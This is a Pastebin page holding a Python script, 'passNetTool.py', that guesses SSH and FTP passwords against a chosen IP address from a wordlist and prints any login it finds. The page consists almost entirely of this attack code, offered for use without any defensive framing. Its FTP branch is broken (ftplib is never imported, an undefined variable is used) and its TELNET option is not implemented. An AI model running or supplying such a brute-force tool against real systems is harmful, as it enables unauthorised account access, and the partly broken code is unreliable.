Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! python3
- # passNetTool.py
- import paramiko
- import socket
- global ip, port, username, wordlist
- try:
- protocol = input("Protocol (SSH/FTP/TELNET) >>> ").lower()
- ip = input("IP Address >>> ")
- port = int(input("Port >>> "))
- username = input("Username >>> ")
- wordlist = input("Wordlist >>> ")
- wordlist = open(wordlist, "r")
- except KeyboardInterrupt:
- print("Quitting...")
- exit()
- def sshConnect(password, code=0):
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- ssh.connect(ip, port=port, username=username, password=password)
- except paramiko.AuthenticationException:
- code = 1
- except socket.error:
- code = 2
- ssh.close()
- return code
- def sshCrack():
- for word in wordlist.readlines():
- password = word.strip("\n")
- try:
- response = sshConnect(password)
- if response == 0:
- print("[+] Login Found!\n\tUsername: {}\n\tPassword: {}".format(username, password))
- wordlist.close()
- exit()
- elif response == 1:
- print("{} | Failed...".format(password))
- elif response == 2:
- print("[-] ERROR: Connection Not Established!")
- exit()
- except KeyboardInterrupt:
- print("Quitting...")
- pass
- def ftpCrack():
- for word in wordlist.readlines():
- password = word.strip("\n")
- try:
- ftp = ftplib.FTP(ip)
- ftp.login(user, password)
- print("[+] Login Found!\n\tUsername: {}\n\tPassword: {}".format(username, password))
- except:
- print("{} | Failed...".format(password))
- def whichProtocol(protocol):
- if protocol == 'ssh':
- sshCrack()
- elif protocol == 'ftp':
- ftpCrack()
- whichProtocol(protocol)
- wordlist.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement